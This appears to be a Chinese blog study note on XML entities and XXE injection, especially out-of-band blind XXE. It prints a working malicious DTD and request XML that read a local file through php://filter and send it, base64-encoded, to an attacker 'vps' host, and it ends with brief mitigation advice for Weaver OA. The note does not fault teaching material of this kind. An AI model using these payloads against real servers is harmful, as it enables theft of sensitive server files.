【xxe主看这个1】学习xxe稍微进阶的知识 ---- OOB xxe盲注,外带

https://www.freebuf.com/video/209186.html
这个是那个pvs的网站,要学习一下curl命令,然后就可以当作一个vps来用了
https://beeceptor.com/console/qwert

当有过滤什么的时候,试一试 iconv 换一下编码方式来看看

1. 基本知识

在这里插入图片描述xml是一种可扩展标记语言,和html类似,
主要区别是 HTML 主要和 数据表示相关。而xml 更多与数据传输和存储有关。

xml可以用在这些地方,等等

在这里插入图片描述

我们现在看一个简单的xml例子:
在这里插入图片描述
version是规范版本的,有些可以有,有些没有。

在这里插入图片描述这个例子的根元素Root element 是Person,符合规则的XML文档必须有且只有一个根元素

在这里插入图片描述这些叫做子元素Children

在这里插入图片描述
这些符号<>"'不能够出现,xml分不清,这些是我们输入的内容,还是标签

那么我们怎么来传输这些符号呢??。

这就要用到我们的实体了ENTITY。实体,是一种简单的存储单元。
在这里插入图片描述

就好像XML的变量一样。
你可以将它们赋值,然后再XML文档的不同地方对它进行引用,

实体(Entity) 再XML文档中的文档类型定义部分(DTD)被单独定义描述。

在这里插入图片描述

我们通过一个简单实例,来了解实体(Entity) 的工作机制

在这里插入图片描述

这个是我们之前的一个XML文档,

这里通过DTD 的方式 创建了一个ENTITY实例,name。
实际上也是告知XML解析器,这是一个DTD定义类型。,
其中,我们定义了一个存贮单元,这个简单的ENTITY的名字就是name
在这里插入图片描述

为了避免对标签反复赋值 ,我们直接把它定义到了名字 name 的ENTITY中去了

在这里插入图片描述
这在XML文档 对该值得多处调用过程中,,会节省很多时间

ENTITY大体分为三种:分别是一般实体参数实体预定义实体

1.一般实体:
上述的那个就是一般实体,

在这里插入图片描述

这个实体通常会在其他的地方引用。

在这里插入图片描述2.参数实体:

参数实体有点特殊,它必须定义在单独的DTD区域中, 并且这种参数实体相对灵活。

比如:用一个ENTITY给另一个ENTITY进行赋值
在这里插入图片描述

这个特点,在我们进行外部实体注入(XXE)的过程中非常有用。

3.预定义实体:
然后我们看看预定义实体:

在这里插入图片描述

它是由一些 特殊符号 组成的一组 预定义数值集,比如"&#之类的 ,这些符号通常会破坏正常的XML文档格式。

在这里插入图片描述比如,我们在XML中用<小于号当作数值使用时,xml解析器就会报错

在这里插入图片描述
所以,为了避免这种情况,我们使用预定义实体

比如这里,我们想用小于号,可以这样,
在这里插入图片描述&#x3C来表示 小于号<.。它是十六进制形式的小于号引用表示。<的html编码之后就是&#x3c;。可以在burp中的decoder中看,

2.XML的安全性问题

实体ENTITY相当于变量,可以存储数值以备后续的使用。但是XML的实体ENTITY的应用不仅仅是存储

还可以访问本地文件
还可以从远程网络中调用相关的数据,作为后续的实体进行引用,
在这里插入图片描述

2.1 访问本地文件 :----- 外显常规试

然后我们看一个例子:
在这里插入图片描述

我们定义了一个名字为subscirbe的实体,它会在后续的pwn中调用。

这里比之前一般实体多了一个关键词::SYSTEM
SYSTEM的作用就是 让XML解析器知道 ,这个实体,是一个外部实体,需要XML解析器去解析,获取其中的内部资源,然后把它存储到内部实体中去。
在这里插入图片描述
这里需要注意的是,如果这个文件中的内容,是某种标签和XML语法很类似的字符,那么XML解析器就会报错,让你知道XML解析失败了。
这是一种预期行为,

当有SYSTEM的时候,就会解析文件中的内容,而不是文件名,

还支持一些协议。

file://
php://filter
http://vps,,,这里先不讨论 外部恶意DTD文件的情况,后面会介绍
ftp://

在这里插入图片描述

这里试一下最常见的 filter 过滤器的用法。
在这里插入图片描述在这里插入图片描述
win10的文件,

在这里插入图片描述在这里插入图片描述

2.2 盲注 Out-of-band-----利用vps的恶意dtd。读取敏感文件,并发送到vps。

在我们的vps上放置。
evil.dtd:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://vps/?%file;'>">
%start;

&#x25;是 % 的html编码。

而后是我们的请求数据:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://vps/evil.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
    %remote;
    %send;
]>

我们在evil.dtd中用参数实体生成了 <!ENTITY % send SYSTEM 'http://vps/?%file;'> 。 最后执行一下% send;。即可发送到我们的vps上了。
然后请求数据就是调用这个evil.dtd。然后在调用file。读取 本地的敏感文件,而后send。将信息发送到我们的服务器上,

在这里插入图片描述
日志中会有记录,然后解码一下
在这里插入图片描述
在这里插入图片描述

知识讲解可以看下面的,但是下面的打不通,,,

接下来,我们讲一下盲注。
Out-of-band

在这里插入图片描述
在这里插入图片描述
我们访问,外部的dtd文件
在这里插入图片描述有反应,!这就意味着,受害端有效解析了我们构造的XML,并且,正在尝试 我们再 attacker.com上的资源 ,作为实体进行引用。并进行了解析。

这样我们就能够以服务端的身份发起请求了,也就是SSRF

从服务器读取本地文件是可以的。
那么这种读显方式能否用于 Blind XXE攻击的文件内容提取呢?

这里先看看DTD。

它以DOCTYPE打头,并且DTD并不是 XML 数据的一部分。他总是在根元素之上声明
在这里插入图片描述
这也就说明了: DTD像实体一样可以从外部加载

在这里插入图片描述
这里也可是一个URI,然后解析器将从这个外部的DTD中提取 并 解析内容。
在这里插入图片描述
这种方法能够使XML文档有一个很好的结构,将 文档定义部分DTD 和 数据部分 分开。

如果我们可以加载外部DTD文件,那么理所当然,你就可以理解另一个概念:
:在DTD内部调用参数实体

在这里插入图片描述

这里有一个内部的DTD定义,


我们在其中定义了参数实体,它的定义又是通过 另一个实体进行定义。

参数实体只能够在同一个 DTD 中调用,
在这里插入图片描述
让我们从XML解析器的角度来分析一下啊。

这个%,是参数实体的标志,调用这个参数实体,

然后最终的解析方法这个,

在这里插入图片描述

这样,我们就能够调用这个实体了。

下面是我们的 盲注xxe的payload。

在这里插入图片描述经过XML解析之后,就是这个样子,
在这里插入图片描述这样,我们就带着文件的内容去访问url了,我们在url的日志中就能够看到。
但是这样不行,

在这里插入图片描述

XML文档中规定,在DTD内部子集中的参数实体调用 不能够混杂到标记语言中。
在这里插入图片描述

也就是说,(在内联DTD中)我们不能够在 标记语言中 调用参数实体

但是,在同级别中可以当作标记语言来调用,

那么为了解决这个问题,我们需要bypass一下,
上面说了不能够再内部的DTD中的标记语句中调用参数实体,

但是XML规范还声明了一点:外部实体不受此限制,
在这里插入图片描述

这就说我们就要用到外部DTD了

在这里插入图片描述
这个send实体,就是在外部的dtd文件中,但是外部的DTD中,我们就不仅能够使用参数实体,还能够在 标记语句中 调用参数实体


passwd先获取到文件的内容,然后wrapper的实体定义中用到了参数实体passwd。
然后调用wrapper,最后解析如下:
在这里插入图片描述
然后拼接到url上,定义到了实体send上,我们就能够得到我们想要的东西了,
在这里插入图片描述

这时候,他不会有任何相应,但我们已经将内容获取到了,

当文件内容和 xml 格式相冲突的时候,

我们这里获取一下/etc/fstab

在这里插入图片描述但是失败了,,

在这里插入图片描述

按理说不会啊,我们知识换了一下文件名称而已,
我们看一下这个文件的内容。
在这里插入图片描述

xml在解析的时候会报错,
在这里插入图片描述

PCDATA, 语法如下:两侧的是闭合标签


用到外部实体来进行闭合

在这里插入图片描述在这里插入图片描述

其他利用

API
SVG
在这里插入图片描述

泛微OA是一种常见的企业办公自动化系统,而XXE(XML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或利用系统中的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后利用系统对外部实体的解析不当来读取系统中的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统中的漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意中点击恶意链接或下载恶意附件而导致漏洞的利用。 通过以上措施,可以有效地减少泛微OA中的XXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值